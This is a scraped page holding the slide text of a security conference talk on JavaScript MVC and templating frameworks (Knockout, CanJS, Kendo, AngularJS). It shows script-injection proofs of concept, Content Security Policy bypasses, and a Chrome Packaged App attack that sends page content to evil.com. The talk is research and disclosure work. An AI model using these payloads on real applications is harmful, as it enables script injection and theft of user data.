I thought you were my friend!Mario Heiderich
 

More from Mario Heiderich (8)

Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
 
Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT Security
 
HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the Ugly
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious Markup
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS Smackdown
 
I thought you were my friend!
I thought you were my friend!I thought you were my friend!
I thought you were my friend!
 

Recently uploaded

Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.YounusS2
 
UiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPathCommunity
 
9 Steps For Building Winning Founding Team
9 Steps For Building Winning Founding Team9 Steps For Building Winning Founding Team
9 Steps For Building Winning Founding TeamAdam Moalla
 
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesAI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesMd Hossain Ali
 
UiPath Studio Web workshop series - Day 8
UiPath Studio Web workshop series - Day 8UiPath Studio Web workshop series - Day 8
UiPath Studio Web workshop series - Day 8DianaGray10
 
Igniting Next Level Productivity with AI-Infused Data Integration Workflows
Igniting Next Level Productivity with AI-Infused Data Integration WorkflowsIgniting Next Level Productivity with AI-Infused Data Integration Workflows
Igniting Next Level Productivity with AI-Infused Data Integration WorkflowsSafe Software
 
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...Aggregage
 
Machine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfMachine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfAijun Zhang
 
Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )Brian Pichman
 
Computer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and HazardsComputer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and HazardsSeth Reyes
 
COMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a WebsiteCOMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a Websitedgelyza
 
Videogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdfVideogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdfinfogdgmi
 
Nanopower In Semiconductor Industry.pdf
Nanopower  In Semiconductor Industry.pdfNanopower  In Semiconductor Industry.pdf
Nanopower In Semiconductor Industry.pdfPedro Manuel
 
How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?IES VE
 
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfJamie (Taka) Wang
 
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IES VE
 
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostKubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostMatt Ray
 
Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Commit University
 
Linked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesLinked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesDavid Newbury
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureEric D. Schabell
 

Recently uploaded (20)

Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.
 
UiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation Developers
 
9 Steps For Building Winning Founding Team
9 Steps For Building Winning Founding Team9 Steps For Building Winning Founding Team
9 Steps For Building Winning Founding Team
 
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesAI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
 
UiPath Studio Web workshop series - Day 8
UiPath Studio Web workshop series - Day 8UiPath Studio Web workshop series - Day 8
UiPath Studio Web workshop series - Day 8
 
Igniting Next Level Productivity with AI-Infused Data Integration Workflows
Igniting Next Level Productivity with AI-Infused Data Integration WorkflowsIgniting Next Level Productivity with AI-Infused Data Integration Workflows
Igniting Next Level Productivity with AI-Infused Data Integration Workflows
 
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
 
Machine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfMachine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdf
 
Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )
 
Computer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and HazardsComputer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and Hazards
 
COMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a WebsiteCOMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a Website
 
Videogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdfVideogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdf
 
Nanopower In Semiconductor Industry.pdf
Nanopower  In Semiconductor Industry.pdfNanopower  In Semiconductor Industry.pdf
Nanopower In Semiconductor Industry.pdf
 
How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?
 
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
 
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
 
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostKubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
 
Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)
 
Linked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesLinked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond Ontologies
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability Adventure
 

JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks

  • 1. JSMVCOMFG To sternly look at JavaScript MVC and Templating Frameworks A presentation by Mario Heiderich mario@cure53.de || @0x6D6172696F
  • 2. Infosec Hobgoblin ● Dr.-Ing. Mario Heiderich ● Researcher and Post-Doc, Ruhr-Uni Bochum – ● PhD Thesis on Client Side Security and Defense Founder of Cure53 – – Consulting, Workshops, Trainings – ● Penetration Testing Firm Simply the Best Company of the World Published author and international speaker – Specialized in HTML5 and SVG Security – JavaScript, XSS and Client Side Attacks ● HTML5 Security Cheatsheet ● And something new! – @0x6D6172696F – mario@cure53.de
  • 3. Today ● JavaScript MVC & Templating Frameworks ● Why? Because they are becoming popular ● Yes, we have numbers, wait for it... ● And they are special ● Are there security flaws? ● If yes (heh.. if..) what can we learn from them?
  • 5. What are they ● Written in JavaScript ● Often huge ● Often very complex ● Often maintained by corporations ● Interfaces to enable different coding styles ● Extending, optimizing, changing ● The way developers work with JavaScript ● The way web applications used to work
  • 7. What do they do? ● Claims ● ● ● ● “More productive out of the box” EmberJS “AngularJS lets you extend HTML vocabulary for your application” AngularJS “Fast templates, responsive widgets” “Simple and intuitive, powerful and extensible, lightning fast” JsRender CanJS
  • 8. Examples <script type="text/x-handlebars"> {{outlet}} </script> <script type="text/x-handlebars" id="x"> <h1>People</h1> <ul> {{#each model}} <li>Hello, <b>{{fullName}}</b>! </li> App = Ember.Application.create(); App.Person = Ember.Object.extend({ firstName: null, lastName: null, fullName: function() { return this.get('firstName') + " " + this.get('lastName'); }.property('firstName', 'lastName') }); App.IndexRoute = Ember.Route.extend({ model: function() { var people = [ {{/each}} App.Person.create({ </ul> firstName: "Frank", </script> lastName: "N. Stein" }) ]; return people; }});
  • 9. Examples <!doctype html> <html ng-app> <head> <script src="angular.min.js"></script> </head> <body> <div> <label>Name:</label> <input type="text" ng-model="yourName" placeholder="Your name"> <hr> <h1>Hello {{yourName}}!</h1> </div> </body> </html>
  • 10. Examples <div class="liveExample" id="x"> <select data-bind="options: tickets, optionsCaption: 'Choose...', optionsText: 'name', value: chosenTicket"> <option value="">Economy</option> <option value="">Business</option> <option value="">First Class</option> </select> <button data-bind="enable: chosenTicket, click: resetTicket" disabled="">Clear</button> <p data-bind="with: chosenTicket"></p> <script type="text/javascript"> function TicketsViewModel() { this.tickets = [ { name: "Economy", price: 199.95 }, { name: "Business", price: 449.22 }, { name: "First Class", price: 1199.99 } ]; this.chosenTicket = ko.observable(); this.resetTicket = function() { this.chosenTicket(null) } } ko.applyBindings(new TicketsViewModel(), document.getElementById("x")); </script> </div> Binding stuff Raw Data! Puttin' it togetha
  • 11. So.. ● JSMVC Frameworks do the following ● They extend the DOM ● They “abstractify” the DOM ● They provide new interfaces ● They often use script-templates or “data blocks” “The script element allows authors to include HTML5 HTML5 Approved! Approved! dynamic script and data blocks in their documents.” – – Sometimes ERB-style – ● Often Mustache-style Sometimes something completely different They often use markup-sugar – Custom elements, <hellokitty> – HTML5 data attributes WHATWG
  • 14. Mustache ● Specified in 2009 by Wanstrath ● {{ stuff }} ● {{#is_true}} Bla {{/is_true}
  • 15. JSMVC and Security ● Initial rationale for security research ● ● ● It's trending, it's complex, it's different What else do we need... nothing Poke-first, analyze later ● ● ● Pick a target, thanks TodoMVC! Explore debugging possibilities Goal: Execute arbitrary JavaScript, maybe more ● ● Using otherwise uncommon ways ● ● Using the JSMVC capabilities Assume injection, assume conventional XSS filter After poking, derive a metric for JSMMVC security
  • 16. Pokes ● Why not start with KnockoutJS <script src="knockout-2.3.0.js"></script> <div data-bind="x:alert(1)" /> <script> ko.applyBindings(); </script>
  • 17. Wait... ● JavaScript from within a data-attribute? ● No extra magic, just the colon? ● That's right ● See where we are heading with this? ● Knockout knocks out XSS filters ● ● Chrome's XSS Auditor ● ● IE's XSS Filter Anything that allows data attributes This behavior breaks existing security assumptions!
  • 19. The reason ● “eval” via “Function” parseBindingsString: function(b, c, d) { try { var f; if (!(f = this.Na[b])) { var g = this.Na, e, m = "with($context){with($data||{}){return{" + a.g.ea(b) + "}}}"; e = new Function("$context", "$element", m); f = g[b] = e } return f(c, d) } catch (h) { throw h.message = "Unable to parse bindings.nBindings value: " + b + "nMessage: " + h.message, h; } }
  • 20. Keep pokin' ● CanJS for example <script src="jquery-2.0.3.min.js"></script> <script src="can.jquery.js"></script> <body> <script type="text/ejs" id="todoList"> <%==($a)->abc})-alert(1)-can.proxy(function(){%> </script> <script> can.view('todoList', {}); </script> </body>
  • 21. Reason ● A copy of “eval” called “myEval” myEval = function(script) { eval(script); }, [...] var template = buff.join(''), out = { out: 'with(_VIEW) { with (_CONTEXT) {' + template + " " + finishTxt + "}}" }; // Use `eval` instead of creating a function, because it is easier to debug. myEval.call(out, 'this.fn = (function(_CONTEXT,_VIEW){' + out.out + '});rn//@ sourceURL=' + name + ".jjs"); return out;
  • 22. And even more... <script src="jquery-1.7.1.min.js"></script> <script src="kendo.all.min.js"></script> <div id="x"># alert(1) #</div> <script> var template = kendo.template($("#x").html()); var tasks = [{ id: 1}]; var dataSource = new kendo.data.DataSource({ data: tasks }); dataSource.bind("change", function(e) { var html = kendo.render(template, this.view()); }); dataSource.read(); </script>
  • 23. Keeeeep Pokin' ● AngularJS 1.1.x <script src="angular.min.js"></script> <div class="ng-app"> {{constructor.constructor('alert(1)')()}} </div> ● Or this – even with encoded mustaches <script src="angular.min.js"></script> <div class="ng-app"> &#x7b;&#x7b;constructor.constructor('alert(1)')()&#x7d;&#x7d; </div>
  • 24. Reason ● “eval” via “Function” var code = 'var l, fn, p;n'; forEach(pathKeys, function(key, index) { code += 'if(s === null || s === undefined) return s;n' + 'l=s;n' + 's=' + (index // we simply dereference 's' on any .dot notation ? 's' // but if we are first then we check locals first, and if so read it first : '((k&&k.hasOwnProperty("' + key + '"))?k:s)') + '["' + key + '"]' + ';n' + […] '}n' + ' s=s.$$vn' + '}n'; }); code += 'return s;'; fn = Function('s', 'k', code); // s=scope, k=locals fn.toString = function() { return code; };
  • 25. Sadly for the attacker... ● They fixed it in 1.2.x ● Dammit! ● Good test-cases too! Look... ● function ensureSafeObject(obj, fullExpression) { // nifty check if obj is Function that is fast … other contexts if (obj && obj.constructor === obj) { throw $parseMinErr('isecfn', 'Referencing Function in Angular expressions is disallowed!Expression: {0}', fullExpression); } else { return obj; }
  • 26. Not that hard to solve var foo = {}; foo.bar = 123; foo.baz = 456; console.log(foo.hasOwnProperty('bar')); console.log(foo.hasOwnProperty('baz')); console.log(foo.hasOwnProperty('constructor')); console.log(foo.hasOwnProperty('__proto__')); console.log(foo.hasOwnProperty('prototype')); // // // // // true true false false false
  • 28. CSP ● Most of the JSMVC will not work with CSP ● At least not without unsafe-eval ● That's not gonna help evangelize CSP ● Although there's hope – AngularJS
  • 29. <div ng-app ng-csp> <div ng-app ng-csp>
  • 30. AngularJS ● Features a special CSP mode ● Said to be 30% slower ● But enables AngularJS to work ● Even without unsafe-eval or other nasties ● ● Magick! It also brings back script injections
  • 31. <?php header('X-Content-Security-Policy: default-src 'self'); header('Content-Security-Policy: default-src 'self'); header('X-Webkit-CSP: default-src 'self'); ?> <!doctype html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> </head> <body onclick="alert(1)"> Click me <h1 ng-mouseover="$event.view.alert(2)"> Hover me </h1> </body> Proper CSP!
  • 32. How do they do it? I. Parse the “ng”-attributes II. Slice out the relevant parts III. Create anonymous functions IV. Connect them with events V. Wait for event handler to fire $element.onclick=function($event){ $event['view']['alert']('1') } ● It's technically not in-line ● Neither is any “eval” being used
  • 33. So, enabling the JSMVC to work with CSP (partly) kills the protection CSP delivers? Aw, yeah, being a pen-tester these days!
  • 34. “Packaged apps deliver an experience as capable as a native app, but as safe as a web page. Just like web apps, packaged apps are written in HTML5, JavaScript, and CSS.” Uhm...
  • 35. “Packaged apps have access to Chrome APIs and services not available to traditional web sites. You can build powerful apps that interact with network and hardware devices, media tools, and much more.” :-O
  • 36. It's bad “Ever played with Chrome Packaged Apps?” ● Very powerful tools ● Similar yet not equivalent to extensions ● Melting the barrier between web and desktop ● HTML + JS + many APIs ● CSP enabled by default ● And work great with AngularJS (of course)
  • 37. Doing the Nasty ● Let's bypass CSP in CPA using Angular ● And escalate some privileges
  • 38. Benign The HTML of <!doctype html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> <script src="controller.js"></script> <link rel="stylesheet" href="todo.css"> </head> <body> <h2>Todo</h2> <div ng-controller="TodoCtrl"> <span>{{remaining()}} of {{todos.length}} remaining</span> [ <a href="" ng-click="archive()">archive</a> ] <ul class="unstyled"> <li ng-repeat="todo in todos"> <input type="checkbox" ng-model="todo.done"> <span class="done-{{todo.done}}">{{todo.text}}</span> </li> </ul> </div> </body> </html> our fancy app
  • 39. Benign function TodoCtrl($scope) { $scope.todos = [ {text:'learn angular', done:true}, {text:'build an angular app', done:false}]; $scope.remaining = function() { var count = 0; angular.forEach($scope.todos, function(todo) { count += todo.done ? 0 : 1; }); return count; }; $scope.archive = function() { var oldTodos = $scope.todos; $scope.todos = []; angular.forEach(oldTodos, function(todo) { if (!todo.done) $scope.todos.push(todo); }); }; } Our Controller Code, AngularJS
  • 40. Benign { "manifest_version": 2, "name": "Lab3b MVC with controller", "permissions": ["webview"], "version": "1", "app": { "background": { "scripts": ["main.js"] } }, "icons": { "128": "icon.png" } } The Manifest, Permissions too
  • 41. Attacked <!doctype html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> <script src="controller.js"></script> <link rel="stylesheet" href="todo.css"> </head> <body> <h2 ng-click="invalid( w=$event.view, x=w.document.createElement('webview'), x.src='http://evil.com/?'+w.btoa(w.document.body.innerHTML), w.document.body.appendChild(x) )">Todo-shmoodoo</h2> <div ng-controller="TodoCtrl"> <span>{{remaining()}} of {{todos.length}} remaining</span> [ <a href="" ng-click="archive()">archive</a> ] <ul class="unstyled"> <li ng-repeat="todo in todos"> <input type="checkbox" ng-model="todo.done"> <span class="done-{{todo.done}}">{{todo.text}}</span> </li> </ul> </div> </body> </html> Oh, Sh*t!
  • 45. Happy testing – there's a lot more to find!
  • 46. For example this... <div class="ng-include:'//ø.pw'">
  • 47. More CSP Bypasses ● And even a much better one ● ● Upload a GIF ● ● Inject a class attribute Get a free AngularJS + HTML5 CSP Bypass Wanna see?
  • 48. Let's upload a pic! <span class="ng-include:'test.gif'"> </span> Now we inject a class attribute It's a valid GIF but also contains payload! – including the image as HTML! Now it imports itself <link rel="import" href="test.gif"> Thereby loads itself as JS <script src="test.gif"></script> “And pop goes the weasel”
  • 49. “It looks like we will agree to disagree on the importance of the HTML imports issue -- we don't think it's possible for a third party to execute arbitrary Javascript via the process you describe, so the risk of unsanitized HTML would be one that the developer was taking on deliberately.”
  • 50. Quick Recap ● What have we seen today ● Rotten Markup-Sugar ● JavaScript exec. from data-attributes ● JavaScript exec. from any element ● JavaScript exec. within encoded mustache ● A full-blown CSP Bypass ● The reasons for all these ● Oh – and an attack against Chrome Packaged Apps ● And it was just the tip of the iceberg ● Lots of “eval” and bad coding practices
  • 53. Metrics ● While root causes persist, new challenges arise ● We need to build metrics ● After having analyzed 12 frameworks: Here's a proposal {}SEC-A Are template expressions equivalent to a JavaScript eval? {}SEC-B Is the the execution scope well isolated or sand-boxed? {}SEC-C Can arbitrary HTML elements serve as template containers? {}SEC-D Does the framework allow, encourage or even enforce separation of code and content? {}SEC-E Does the framework maintainer have a security response program? {}SEC-F Does the Framework allow safe CSP rules to be used
  • 55. Conclusion ● JSMVC requires new security requirements ● No reflected content from the server within template containers ● Sometimes, everything is a template container ● Strict separation is necessary ● And there is hope! ● Maybe JSMVC eliminates XSS ● Because it changes how we design applications. ● And does by boosting and not hindering productivity ● Interested in collaborating on this? Contact me!